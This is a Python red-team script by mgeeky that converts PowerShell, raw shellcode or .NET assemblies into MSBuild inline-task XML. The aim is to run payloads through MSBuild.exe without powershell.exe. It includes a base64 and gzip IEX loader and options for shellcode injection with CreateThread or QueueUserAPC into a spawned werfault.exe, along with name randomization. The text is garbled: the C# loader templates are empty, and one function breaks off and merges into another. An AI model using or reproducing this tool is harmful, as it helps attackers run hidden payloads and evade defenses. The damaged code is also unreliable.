#!/usr/bin/python3 # # Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or # .NET/CLR assembly EXE file into inline-task XML file that can be further launched by: # # %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe # or # %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe # # This script can embed following data within constructed CSharp Task: # - Powershell code # - raw Shellcode in a separate thread via CreateThread # - .NET Assembly via Assembly.Load # # Mariusz B. / mgeeky, # import re import os import io import sys import gzip import base64 import string import struct import random import binascii import argparse def getCompressedPayload(filePath, returnRaw = False): out = io.BytesIO() encoded = '' with open(filePath, 'rb') as f: inp = f.read() with gzip.GzipFile(fileobj = out, mode = 'w') as fo: fo.write(inp) encoded = base64.b64encode(out.getvalue()) if returnRaw: return encoded powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format( encoded.decode() ) return powershell def getPayloadCode(payload): return f'shellcode = "{payload}";' payloadCode = '\n' N = 50000 codeSlices = map(lambda i: payload[i:i+N], range(0, len(payload), N)) variables = [] num = 1 for code in codeSlices: payloadCode += f'string shellcode{num} = "{code}";\n' variables.append(f'shellcode{num}') num += 1 concat = 'shellcode = ' + ' + '.join(variables) + ';\n' payloadCode += concat return payloadCode def getInlineTask(module, payload, _format, apc, targetProcess): templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) if len(module) > 0: templateName = module taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) payloadCode = getPayloadCode(payload.decode()) launchCode = '' if _format == 'exe': exeLaunchCode = string.Template(''' ''').safe_substitute( payloadCode = payloadCode ) launchCode = exeLaunchCode elif _format == 'raw': shellcodeLoader = '' if not apc: shellcodeLoader = string.Template(''' ''').safe_substitute( templateName = templateName, payloadCode = payloadCode ) else: # # The below MSBuild template comes from: # https://github.com/infosecn1nja/MaliciousMacroMSBuild # shellcodeLoader = string.Template(''' ''').safe_substitute( templateName = templateName, payloadCode = payloadCode, targetProcess = targetProcess ) launchCode = shellcodeLoader else: powershellLaunchCode = string.Template(''' ''').safe_substitute( templateName = templateName, payloadCode = payloadCode ) launchCode = powershellLaunchCode template = string.Template(''' <$templateName /> $launchCode ''').safe_substitute( taskName = taskName, templateName = templateName, launchCode = launchCode ) return template def detectFileIsExe(filePath, forced = False): first1000 = [] with open(filePath, 'rb') as f: first1000 = f.read()[:1000] if not (first1000[0] == 'M' and first1000[1] == 'Z'): return False elfanew = struct.unpack('\s*\n', '', output) output = output.replace('\n', '') output = re.sub(r'\s{2,}', ' ', output) output = re.sub(r'\s+([^\w])\s+', r'\1', output) output = re.sub(r'([^\w"])\s+', r'\1', output) variables = { 'payload' : 'x', 'method' : 'm', 'asm' : 'a', 'instance' : 'o', 'pipeline' : 'p', 'runspace' : 'r', 'decoded' : 'd', 'MEM_COMMIT' : 'c1', 'PAGE_EXECUTE_READWRITE' : 'c2', 'MEM_RELEASE' : 'c3', 'funcAddr' : 'v1', 'hThread' : 'v2', 'threadId' : 'v3', 'lpAddress' : 'p1', 'dwSize' : 'p2', 'flAllocationType' : 'p3', 'flProtect' : 'p4', 'dwFreeType' : 'p5', 'lpThreadAttributes' : 'p6', 'dwStackSize' : 'p7', 'lpStartAddress' : 'p8', 'param' : 'p9', 'dwCreationFlags' : 'p10', 'lpThreadId' : 'p11', 'dwMilliseconds' : 'p12', 'hHandle' : 'p13', 'processpath' : 'p14', 'shellcode' : 'p15', 'resultPtr' : 'p16', 'bytesWritten' : 'p17', 'resultBool' : 'p18', 'ThreadHandle' : 'p19', 'PAGE_READWRITE' : 'p20', 'PAGE_EXECUTE_READ' : 'p21', } # Variables renaming tends to corrupt Base64 streams. #for k, v in variables.items(): # output = output.replace(k, v) return output def opts(argv): parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.') parser.add_argument('-o', '--output', metavar='PATH', default='', type=str, help = 'Output path where to write generated script. Default: stdout') parser.add_argument('-n', '--module', metavar='NAME', default='', type=str, help = 'Specifies custom C# module name for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: auto generated name.') parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.') parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.') parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!') parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread (VirtualAlloc + CreateThread)') parser.add_argument('--queue-apc', action='store_true', help = 'If --raw was specified, generate C# code template with CreateProcess + WriteProcessMemory + QueueUserAPC process injection technique instead of default CreateThread.') parser.add_argument('--target-process', metavar='PATH', default=r'%windir%\system32\werfault.exe', help = r'This option specifies target process path for remote process injection in --queue-apc technique. May use environment variables. May also contain command line for spawned process, example: --target-process "%%windir%%\system32\werfault.exe -l -u 1234"') parser.add_argument('--only-csharp', action='store_true', help = 'Return generated C# code instead of MSBuild\'s XML.') args = parser.parse_args() if args.exe and args.raw: sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n') sys.exit(-1) args.target_process = args.target_process.replace("^%", '%') return args def main(argv): sys.stderr.write(''' :: Powershell via MSBuild inline-task XML payload generation script To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' Mariusz B. / mgeeky, ''') if len(argv) < 2: print('Usage: ./generateMSBuildXML.py [options] ') sys.exit(-1) args = opts(argv) _format = 'powershell' if args.exe: if not detectFileIsExe(args.inputFile, args.exe): sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') return False _format = 'exe' sys.stderr.write('[?] File recognized as PE/EXE.\n\n') with open(args.inputFile, 'rb') as f: payload = f.read() elif args.raw: _format = 'raw' sys.stderr.write('[?] File specified as raw Shellcode.\n\n') with open(args.inputFile, 'rb') as f: payload = f.read() else: sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') if args.inputFile.endswith('.exe'): return False payload = getCompressedPayload(args.inputFile, _format != 'powershell') output = getInlineTask(args.module, payload, _format, args.queue_apc, args.target_process) if args.only_csharp: m = re.search(r'\<\!\[CDATA\[(.+)\]\]\>', output, re.M|re.S) if m: output = m.groups(0)[0] if args.minimize: output = minimize(output) if args.encode: if len(args.output) > 0: with open(args.output, 'w') as f: f.write(base64.b64encode(output)) else: print(base64.b64encode(output)) else: if len(args.output) > 0: with open(args.output, 'w') as f: f.write(output) else: print(output) msbuildPath = r'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' if 'PROGRAMFILES(X86)' in os.environ: msbuildPath = r'%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe' sys.stderr.write(''' ===================================== Execute this XML file like so: {} file.xml '''.format(msbuildPath)) if __name__ == '__main__': main(sys.argv)